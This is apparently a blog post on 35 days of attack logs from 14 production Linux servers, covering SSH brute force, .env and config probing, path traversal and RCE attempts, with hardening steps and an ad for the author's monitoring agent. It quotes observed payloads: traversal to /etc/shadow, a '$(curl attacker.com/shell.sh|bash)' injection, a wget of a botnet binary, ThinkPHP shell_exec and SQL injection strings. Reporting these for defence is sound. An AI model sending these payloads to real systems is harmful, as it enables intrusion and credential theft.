I set up real-time monitoring on 14 production Linux servers, a mix of VPS, bare metal, and Docker hosts across DigitalOcean, OVH, Hetzner, and a couple of on-prem boxes. One server hosts 64 domains. Another runs a single Laravel app. They range from 1 vCPU to 8 vCPU, Ubuntu, Debian, CentOS 7, and AlmaLinux.
I wanted to answer a simple question: what's actually hitting my servers?
I let it run for 35 days. The answer was worse than I expected.
The numbers
| Metric | Value |
|---|---|
| Total security events | 254,177 |
| Attacks per day (average) | 8,400 |
| Unique attacking IPs | 23,831 |
| IPs banned automatically | 50,919 |
| Repeat offenders (banned 2+ times) | 9,827 |
| Permanently banned (4+ offenses) | 1,871 |
| Worst single IP | Banned 14 times before permanent block |
That's 8,400 attacks per day. Across 14 servers. Every single day.
What's attacking you (and what they want)
I'm going to skip the bot crawler noise and focus on what matters: attacks that can actually compromise your server.
SSH brute force — 20,960 events
The most persistent threat. ~700 attempts per day, every day, without exception.
The pattern is always the same: an IP connects, tries 50-200 passwords in 2-3 minutes, then moves on. They target every username you can think of:
root
admin
ubuntu
test
oracle
postgres
deploy
git
ftpuser
minecraft
Most brute force comes in coordinated waves: the same IP hits multiple servers within seconds. With progressive ban escalation (24h first offense, 7 days second, 30 days third, permanent after that), 1,871 IPs have been permanently blocked.
What to do: Disable password auth entirely. Use SSH keys only. Add this to /etc/ssh/sshd_config:
PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password
Then systemctl restart sshd. This alone stops 99% of SSH brute force.
.env file probing — 2,376 events
This one should terrify every developer who deploys web apps:
GET /.env HTTP/1.1
GET /.env.local HTTP/1.1
GET /.env.production HTTP/1.1
GET /.env.backup HTTP/1.1
GET /api/.env HTTP/1.1
GET /app/.env HTTP/1.1
GET /laravel/.env HTTP/1.1
GET /wp-content/.env HTTP/1.1
Every single one of my 14 servers gets probed for .env files multiple times per day. They're looking for database credentials, API keys, APP_KEY, Stripe secrets, everything that's in your .env.
If your web server serves .env as a static file, you are already compromised. I guarantee it. The scanners are automated and run 24/7.
What to do: Block .env access in your web server config:
# Nginx
location ~ /\.env {
deny all;
return 404;
}
# Apache
<FilesMatch "^\.env">
Require all denied
</FilesMatch>
Config probing — 739 events
The .env cousins:
GET /wp-config.php
GET /.git/config
GET /.git/HEAD
GET /server-status
GET /.htpasswd
GET /web.config
GET /config.php
GET /database.yml
GET /settings.py
Attackers systematically check for every known config file across every framework. WordPress, Rails, Django, Laravel, Node, they try them all on every IP. They don't know what you're running; they just spray and see what responds.
The .git/config one is particularly nasty if your .git directory is exposed, they can download your entire source code including commit history.
Path traversal — 1,362 events
GET /../../etc/passwd
GET /..%2f..%2f..%2fetc/shadow
GET /static/..%252f..%252f..%252fetc/passwd
GET /images/../../../etc/hostname
Note the double URL-encoding: %252f decodes to %2f which decodes to /. This is designed to bypass naive WAFs that only decode once.
They're trying to escape your web root and read system files — /etc/passwd to enumerate users, /etc/shadow for password hashes, or /proc/self/environ for environment variables.
Remote code execution — 799 events
The scary ones:
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write
&country=$(curl+attacker.com/shell.sh|bash)
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET /index.php?s=/index/\think\app/invokefunction
&function=call_user_func_array&vars[0]=shell_exec
&vars[1][]=whoami
GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7
Each of these targets a specific CVE:
- PHPUnit eval-stdin.php — a dev dependency that should never be on production. If it's accessible, they have full shell access.
- ThinkPHP RCE — affects ThinkPHP < 5.0.24. Allows arbitrary command execution via URL.
- Luci router RCE — targets OpenWrt/router admin panels exposed to the internet.
-
Direct wget — tries to download and execute a botnet binary.
bot.arm7tells you they're targeting IoT devices too.
Web shell access — 40 events
GET /c99.php
GET /r57.php
GET /shell.php
GET /cmd.php
GET /webshell.php
GET /wp-content/uploads/shell.php
They're checking if a previous attacker already left a web shell on your server. If any of these returns 200, your server is already owned.
Scanner tools — 2,342 events
These User-Agents appear constantly:
sqlmap/1.7
Nuclei - Open-source project (projectdiscovery.io)
Nmap Scripting Engine
masscan/1.3
Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2)
Scanners map your entire attack surface: what software you run, what versions, what ports are open, what known CVEs apply. The results either get used in targeted attacks or sold on forums.
SQL injection — 13 confirmed events
Low volume but high impact. Every attempt is a targeted exploit:
GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users--
GET /search?q=1%27%20OR%201=1--
Low count means most SQL injection gets caught at the application level or by pattern-based WAF rules. But 13 confirmed attempts in 35 days on production servers means it's real not theoretical.
Everything else
| Attack type | Events | What it targets |
|---|---|---|
| FTP brute force | 403 | vsftpd, ProFTPD credentials |
| Web exploits (Spring4Shell, Log4Shell, Struts) | 176 | Known CVEs in Java frameworks |
| Honeypot triggers | 124 | Decoy endpoints that only attackers would hit |
| Mail brute force | 30 | Postfix SASL, Dovecot IMAP/POP3 |
| Exposed database ports | 14 | MySQL/PostgreSQL open to internet |
| DB brute force | 5 | Direct database auth attempts |
| SSRF attempts | 2 | Server-side request forgery |
Where the attacks come from
| Country | Events | % |
|---|---|---|
| United States | 117,171 | 46.1% |
| Singapore | 60,109 | 23.6% |
| France | 13,223 | 5.2% |
| Russia | 10,647 | 4.2% |
| Germany | 9,628 | 3.8% |
| China | 7,132 | 2.8% |
| United Kingdom | 4,607 | 1.8% |
| Netherlands | 3,254 | 1.3% |
| Hong Kong | 3,245 | 1.3% |
| Brazil | 2,251 | 0.9% |
Surprise: the US is #1 by far. Not because Americans are hacking you — because AWS, DigitalOcean, Vultr, and Linode provide cheap VPS that attackers use as launchpads. Singapore at #2 is the same story (AWS ap-southeast-1).
Russia and China combined are only 7%. Blocking "suspicious countries" misses 93% of the traffic.
The timeline: what happens when you deploy a fresh VPS
I tracked the exact timing from several fresh Droplet deployments:
| Time | What happens |
|---|---|
| < 1 min | Shodan, Censys, Masscan port scan — your IP is indexed |
| 1-3 min | First SSH connection attempt (usually root) |
| 3-5 min | First brute force wave — 50-100 password guesses |
| 5-15 min | First web exploit probe — .env, wp-login.php, .git/config
|
| 15-60 min | Bot crawlers discover your IP, start scraping everything |
| 1-24 hours | Targeted scans based on what they detected (specific CVEs for your stack) |
Your server is under attack before you finish your first apt update.
Per-server breakdown
| Server | Events | Notes |
|---|---|---|
| VPS with 64 domains | 155,901 | More domains = more attack surface |
| VPS with 10 domains | 38,924 | Second most targeted |
| Defensia platform server | 14,185 | Security product = ironic target |
| Clean DO Droplet (test) | 9,500 | Fresh server, nothing deployed — still 9,500 attacks |
| Single-app VPS | 7,096 | One Laravel app = still thousands of attacks |
| Internal network server | 84 | Only reachable via VPN — almost no attacks |
The clean Droplet with nothing deployed got 9,500 attacks. The IP alone is enough.
What to do about it
Five things every developer with a Linux server should do:
1. SSH keys only, disable password auth
sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
This eliminates 100% of SSH brute force. Non-negotiable.
2. Block sensitive file access
# Nginx — add to every server block
location ~ /\.(env|git|htpasswd) {
deny all;
return 404;
}
Stops .env probing, .git exposure, and .htpasswd leaks.
3. Enable a firewall
ufw default deny incoming
ufw allow ssh
ufw allow http
ufw allow https
ufw enable
Only expose the ports you actually need.
4. Keep software updated
apt update && apt upgrade -y
# Or enable unattended-upgrades for security patches
Most RCE attacks target known CVEs with patches already available.
5. Monitor what's happening
This is the part most developers skip. Without monitoring, all 254,000 of these events would be completely invisible. You'd never know until something breaks or your server starts sending spam.
At minimum, check your auth log regularly:
grep "Failed password" /var/log/auth.log | tail -20
If you want real-time visibility, I built an open-source agent that does all of this automatically: detects SSH brute force (15 patterns), web attacks (15 OWASP types), and manages bots with a dashboard showing everything in real time.
It's a single Go binary that installs in one command:
curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN>
Also works with Docker and Kubernetes.
The agent is MIT-licensed: github.com/defensia/agent
Free tier includes 1 server with full protection. defensia.cloud
All data is from real production servers monitored between February 24 and March 31, 2026. No synthetic traffic, no test data. Just the internet being the internet.

Top comments (0)